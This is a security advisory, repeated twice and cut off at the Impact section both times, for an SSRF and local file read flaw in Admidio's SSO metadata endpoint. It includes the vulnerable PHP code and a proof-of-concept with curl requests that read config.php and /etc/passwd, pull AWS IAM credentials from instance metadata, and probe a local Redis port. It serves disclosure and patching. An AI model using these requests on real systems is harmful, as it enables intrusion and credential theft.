CVE-2026-32812

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, unrestricted URL fetch in the SSO Metadata API can result in SSRF and local file reads. The SSO Metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. This issue has been fixed in version 5.0.7.

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, unrestricted URL fetch in the SSO Metadata API can result in SSRF and local file reads. The SSO Metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. This issue has been fixed in version 5.0.7.

Summary

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

| Scheme | Impact | |--------|--------| | file:///etc/passwd | Read any local file the web server process can access | | http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) | | http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) | | data://text/plain,payload | Data URI content injection |

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Impact

• Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's…

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, unrestricted URL fetch in the SSO Metadata API can result in SSRF and local file reads. The SSO Metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. This issue has been fixed in version 5.0.7.

Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, unrestricted URL fetch in the SSO Metadata API can result in SSRF and local file reads. The SSO Metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. This issue has been fixed in version 5.0.7.

Summary

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

| Scheme | Impact | |--------|--------| | file:///etc/passwd | Read any local file the web server process can access | | http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) | | http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) | | data://text/plain,payload | Data URI content injection |

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Impact

• Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's…